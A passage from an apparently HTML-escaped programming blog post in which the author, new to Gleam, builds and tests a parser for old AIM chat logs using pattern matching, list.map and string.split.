&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Values were not equal
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> expected: [&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;hey whats up&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> got: [&lt;span style="color:#ed9d13">&amp;#34;fake&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;data&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Finished in 0.008 seconds
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">1&lt;/span> tests, &lt;span style="color:#3677a9">1&lt;/span> failures
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cool, that&amp;rsquo;s what I expected. The test is failing because it&amp;rsquo;s returning hardcoded dummy results that don&amp;rsquo;t match my test.&lt;/p>
&lt;h2 id="adjusting-my-brain-to-a-functional-language">Adjusting my brain to a functional language&lt;/h2>
&lt;p>Okay, now it&amp;rsquo;s time to implement the parsing for real. I need to implement this function:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse&lt;/span>(contents:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">todo&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point, I kind of froze up. It struck me that Gleam excludes so many of the tools I&amp;rsquo;m used to in other languages:&lt;/p>
&lt;ul>
&lt;li>There are no &lt;code>if&lt;/code> statements&lt;/li>
&lt;li>There are no loops&lt;/li>
&lt;li>There&amp;rsquo;s no &lt;code>return&lt;/code> keyword&lt;/li>
&lt;li>There are no list index accessors
&lt;ul>
&lt;li>e.g., you can&amp;rsquo;t access the n-th element of a &lt;code>List&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>What do I even do? Split the string into tokens and then do something with that?&lt;/p>
&lt;p>Eventually, I realized for a simple implementation, I wanted to just split the string into lines, so I want to do this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse&lt;/span>(contents:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>string.&lt;span style="color:#447fcf">split&lt;/span>(contents,&lt;span style="color:#666"> &lt;/span>on:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I test again, I get this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam &lt;span style="color:#24909d">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling log_parser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiled in 0.21s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Running log_parser_test.main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>F
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Failures:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 1) plaintext_logs_test.parse_simple_plaintext_log_test: module &lt;span style="color:#ed9d13">&amp;#39;plaintext_logs_test&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Values were not equal
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> expected: [&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;hey whats up&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> got: [&lt;span style="color:#ed9d13">&amp;#34;Session Start (DumbAIMScreenName:Jane): Mon Sep 12 18:44:17 2005&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;[18:44] Jane: hi&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;[18:55] Me: hey whats up&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;Session Close (Jane): Mon Sep 12 18:56:02 2005&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Finished in 0.009 seconds
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">1&lt;/span> tests, &lt;span style="color:#3677a9">1&lt;/span> failures
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay, now I&amp;rsquo;m a little closer.&lt;/p>
&lt;h2 id="how-do-i-iterate-over-a-list-in-a-language-with-no-loops">How do I iterate over a list in a language with no loops?&lt;/h2>
&lt;p>I turned my logs into a list of lines, but that&amp;rsquo;s where I got stuck again.&lt;/p>
&lt;p>I&amp;rsquo;m so used to &lt;code>for&lt;/code> loops that my brain kept thinking, &amp;ldquo;How do I do a &lt;code>for&lt;/code> loop to iterate over the elements?&amp;rdquo;&lt;/p>
&lt;p>I realized I needed to call &lt;a href="https://hexdocs.pm/gleam_stdlib/gleam/list.html#map">&lt;code>list.map&lt;/code>&lt;/a>. I need to define a function that acts on each element of the list.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span>&lt;span style="color:#666"> &lt;/span>gleam/list&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span>&lt;span style="color:#666"> &lt;/span>gleam/string&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse_line&lt;/span>(line:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Start&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Close&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse&lt;/span>(contents:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>string.&lt;span style="color:#447fcf">split&lt;/span>(contents,&lt;span style="color:#666"> &lt;/span>on:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>list.&lt;span style="color:#447fcf">map&lt;/span>(parse_line)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is my first time using pattern matching in any language, and it&amp;rsquo;s neat, though it&amp;rsquo;s still so unfamiliar that I find it hard to recognize when to use it.&lt;/p>
&lt;p>Zooming in a bit on the pattern matching, it&amp;rsquo;s here:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Start&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Close&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It evaluates the &lt;code>line&lt;/code> variable and matches it to one of the subsequent patterns within the braces. If the line starts with &lt;code>&amp;quot;Session Start&amp;quot;&lt;/code> (the &lt;code>&amp;lt;&amp;gt;&lt;/code> means the preceding string is a prefix), then Gleam executes the code after the &lt;code>-&amp;gt;&lt;/code>, which in this case is just the empty string. Same for &lt;code>&amp;quot;Session Close&amp;quot;&lt;/code>.&lt;/p>
&lt;p>If the line doesn&amp;rsquo;t match the &lt;code>&amp;quot;Session Start&amp;quot;&lt;/code> or &lt;code>&amp;quot;Session Close&amp;quot;&lt;/code> patterns, Gleam executes the last line in the &lt;code>case&lt;/code> which just matches any string. In that case, it evaluates to the same string. Meaning &lt;code>&amp;quot;hi&amp;quot;&lt;/code> would evaluate to just &lt;code>&amp;quot;hi&amp;quot;&lt;/code>.&lt;/p>
&lt;p>This is where it struck me how strange it feels to not have a &lt;code>return&lt;/code> keyword. In every other language I know, you have to explicitly return a value from a function with a &lt;code>return&lt;/code> keyword, but in Gleam, the return value is just the value from the last line that Gleam executes in the function.&lt;/p>
&lt;p>If I run my test, I get this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam &lt;span style="color:#24909d">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling log_parser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiled in 0.22s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Running log_parser_test.main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>F
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Failures:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 1) plaintext_logs_test.parse_simple_plaintext_log_test: module &lt;span style="color:#ed9d13">&amp;#39;plaintext_logs_test&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Values were not equal
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> expected: [&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;hey whats up&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> got: [&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;[18:44] Jane: hi&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;[18:55] Me: hey whats up&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Finished in 0.009 seconds
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">1&lt;/span> tests, &lt;span style="color:#3677a9">1&lt;/span> failures
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Again, this is what I expected, and I&amp;rsquo;m a bit closer to my goal.&lt;/p>
&lt;p>I&amp;rsquo;ve converted the &lt;code>&amp;quot;Session Start&amp;quot;&lt;/code> and &lt;code>&amp;quot;Session End&amp;quot;&lt;/code> lines to empty strings, and the middle two elements of the list are the lines that have AIM messages in them.&lt;/p>
&lt;p>The remaining work is:&lt;/p>
&lt;ul>
&lt;li>Strip out the time and sender parts of the log lines.&lt;/li>
&lt;li>Filter out empty strings.&lt;/li>
&lt;/ul>
&lt;h2 id="scraping-an-aim-message-from-a-line">Scraping an AIM message from a line&lt;/h2>
&lt;p>At this point, I have a string like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>[18:55] Me: hey whats up
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And I need to extract just the portion after the sender&amp;rsquo;s name to this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>hey whats up
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>My instinct is to use a string split function and split on the &lt;code>:&lt;/code> character. I see that there&amp;rsquo;s &lt;a href="https://hexdocs.pm/gleam_stdlib/gleam/string.html#split">&lt;code>string.split&lt;/code>&lt;/a> which returns &lt;code>List(String)&lt;/code>.&lt;/p>
&lt;!-- markdownlint-disable no-space-in-code -->
&lt;p>There&amp;rsquo;s also a &lt;a href="https://hexdocs.pm/gleam_stdlib/gleam/string.html#split_once">&lt;code>string.split_once&lt;/code>&lt;/a> function, which should work because I can split once on &lt;code>: &lt;/code> (note the trailing space after the colon).&lt;/p>
&lt;!-- markdownlint-enable no-space-in-code -->
&lt;p>The problem is that &lt;code>split_once&lt;/code> returns &lt;code>Result(#(String, String), Nil)&lt;/code>, a type that feels scarier to me. It&amp;rsquo;s a two-tuple wrapped in a &lt;code>Result&lt;/code>, which means that the function can return an error on failure. It&amp;rsquo;s confusing that &lt;code>split_once&lt;/code> can fail whereas &lt;code>split&lt;/code> cannot, so for simplicity, I&amp;rsquo;ll go with &lt;code>split&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse_line&lt;/span>(line:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Start&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Close&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">echo&lt;/span>&lt;span style="color:#666"> &lt;/span>string.&lt;span style="color:#447fcf">split&lt;/span>(line,&lt;span style="color:#666"> &lt;/span>on:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;: &amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">todo&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I run my test, I get this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam &lt;span style="color:#24909d">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>warning: Todo found
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ┌─ /home/mike/code/gleam-log-parser/src/plaintext_logs.gleam:10:7
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> │
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">10&lt;/span> │ todo
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> │ ^^^^ This code is incomplete
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>This code will crash &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> it is run. Be sure to finish it before
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>running your program.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hint: I think its &lt;span style="color:#24909d">type&lt;/span> is &lt;span style="color:#ed9d13">`&lt;/span>String&lt;span style="color:#ed9d13">`&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiled in 0.01s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Running log_parser_test.main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>src/plaintext_logs.gleam:9
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[&lt;span style="color:#ed9d13">&amp;#34;[18:44] Jane&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Good. That&amp;rsquo;s doing what I want. I&amp;rsquo;m successfully isolating the &lt;code>&amp;quot;hi&amp;quot;&lt;/code> part, so now I just have to return it.&lt;/p>
&lt;h2 id="how-do-i-access-the-last-element-of-a-list">How do I access the last element of a list?&lt;/h2>
&lt;p>At this point, I feel close to victory. I&amp;rsquo;ve converted the line to a list of strings, and I know the string I want is the last element of the list, but how do I grab it?&lt;/p>
&lt;p>In most other languages, I&amp;rsquo;d just say &lt;code>line_parts[1]&lt;/code>, but Gleam&amp;rsquo;s lists have no accessors by index.&lt;/p>
&lt;p>Looking at the &lt;code>gleam/list&lt;/code> module, I see a &lt;a href="https://hexdocs.pm/gleam_stdlib/gleam/list.html#last">&lt;code>list.last&lt;/code>&lt;/a> function, so I try that:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse_line&lt;/span>(line:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Start&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Close&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
